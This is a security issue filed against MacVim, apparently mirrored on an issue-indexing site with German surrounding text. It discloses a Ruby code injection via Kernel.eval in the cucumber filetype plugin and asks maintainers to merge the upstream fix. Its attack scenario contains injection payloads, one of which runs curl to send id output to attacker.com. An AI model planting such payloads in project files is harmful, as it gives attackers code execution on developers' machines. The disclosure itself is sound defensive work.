macvim-dev / macvim-dev/macvim
[Security] MacVim affected by GHSA-4473-94jm-w5x9 — cucumber filetype plugin Ruby code injection via crafted step patterns (vim < 9.2.0496)
Dieses Issue hat noch niemand übernommen.
- Vorherrschende Sprache
- Vim Script
- Sterne
- 7.9k
- Forks
- 691
- PR-Merge-Kennzahlen
- Keine gemergten PRs in 30 T.
Beschreibung
[Security] MacVim affected by GHSA-4473-94jm-w5x9 — cucumber filetype plugin Ruby code injection via crafted step patterns (vim < 9.2.0496)
Summary
MacVim bundles the vim runtime at version 9.2 (patches 1-321 in the current build), which is
below the patched version 9.2.0496 that fixes a code injection vulnerability in the cucumber
filetype plugin's s:stepmatch() function. MacVim supports Ruby (+ruby), making it
susceptible to this attack.
Vulnerability Details
- GHSA: GHSA-4473-94jm-w5x9
- Upstream fix: vim 9.2.0496 (commit
a65a52d684bc58535ad28a4ae824d22e76399934) - Affected code:
runtime/ftplugin/cucumber.vim—s:stepmatch()function - Vulnerability type: CWE-94 — Improper Control of Generation of Code (Code Injection)
Root Cause
In s:stepmatch(), when Vimscript's built-in pattern matching fails, the function falls back
to using Ruby's Kernel.eval() to evaluate a regex constructed from an attacker-controlled
pattern:
" runtime/ftplugin/cucumber.vim lines 98-99 (macvim r183)
if has("ruby") && pattern !~ '\\\@<!#{'
ruby VIM.command("return #{if (begin; Kernel.eval('/'+VIM.evaluate('pattern')+'/'); rescue SyntaxError; end) === VIM.evaluate('a:target') then 1 else 0 end}")
The pattern variable is derived from step-definition strings in .rb files in the
project (via s:allsteps()). If a step definition file contains a pattern like:
/) + system('touch /tmp/pwned') + (/
then Kernel.eval('/'+pattern+'/') becomes:
Kernel.eval('//) + system('touch /tmp/pwned') + (//')
The rescue SyntaxError guard only prevents a crash; it does not prevent execution of valid
Ruby expressions. An attacker can craft patterns that both execute arbitrary Ruby and are
syntactically valid.
The !~ '\\\@<!#{' check only guards against Ruby string interpolation (#{...}) and does
not protect against regex literal injection.
Attack Scenario
- An attacker places a malicious
.rbstep-definitions file in the project's
features/step_definitions/directory with a crafted step pattern:Given(/\/) + system('curl http://attacker.com/?$(id)') + (\// ) do end - The victim opens a
.featurefile in MacVim (which has+ruby) and uses the
[dor]dstep-jump mappings that calls:steps()→s:stepmatch(). Kernel.evalexecutes the injected Ruby expression, runningsystem()with
arbitrary shell commands.
Affected MacVim Code
" cucumber.vim line 99 (macvim r183)
ruby VIM.command("return #{if (begin; Kernel.eval('/'+VIM.evaluate('pattern')+'/'); rescue SyntaxError; end) === VIM.evaluate('a:target') then 1 else 0 end}")
Affected MacVim Version
MacVim r183 (vim 9.2 patches 1-321) — current HEAD as of 2026-05-18.
The fix commit a65a52d684bc58535ad28a4ae824d22e76399934 from vim/vim is not present
in the macvim-dev/macvim repository.
Suggested Fix
Merge or cherry-pick vim/vim patches up to at least 9.2.0496.
The fix replaces Kernel.eval('/'+pattern+'/') with Regexp.new(pattern), which creates a
regex object directly from the string without evaluating arbitrary Ruby code:
# Fixed (vim 9.2.0496):
ruby VIM.command("return #{if (begin; Regexp.new(VIM.evaluate('pattern')); rescue RegexpError; end) === VIM.evaluate('a:target') then 1 else 0 end}")
Regexp.new() only constructs a regular expression; it cannot execute shell commands or
arbitrary Ruby expressions even if the pattern contains injection attempts.
References
Beitragsleitfaden
Erste Schritte
- Lies das ganze Issue und danach den Beitragsleitfaden des Projekts.
- Schreib ins Issue, dass du es übernimmst — das erspart doppelte Arbeit.
- Forke das Repository und arbeite in einem Branch.
- Öffne einen Pull Request, der die Issue-Nummer nennt.
Rechercherichtung
Beginne mit der Untersuchung von runtime/ftplugin/cucumber.vim und dem Vergleich der Implementierung von s:stepmatch() mit dem Upstream-Vim-Commit a65a52d684bc58535ad28a4ae824d22e76399934. Aktualisiere die eingebundene Runtime, sodass der Fix aus 9.2.0496 enthalten ist, und überprüfe anschließend, dass der anfällige Pfad für Kernel.eval() ersetzt wurde und die betroffene Runtime-Version aktuell ist.
Vom Indexierungsmodell aus dem Issue-Text verfasst.
Bewertung
- Tech-Stack
- ruby, vim
- Bereich
- desktop-dev, security
- Issue-Typ
- Bug
- Schwierigkeit
- 3/5
- Geschätzter Aufwand
- 1-2 Tage
- Aktivitätsstatus
- Ruhig
- Klarheit
- Klar beschrieben
- Anfängerfreundlichkeit
- 68/100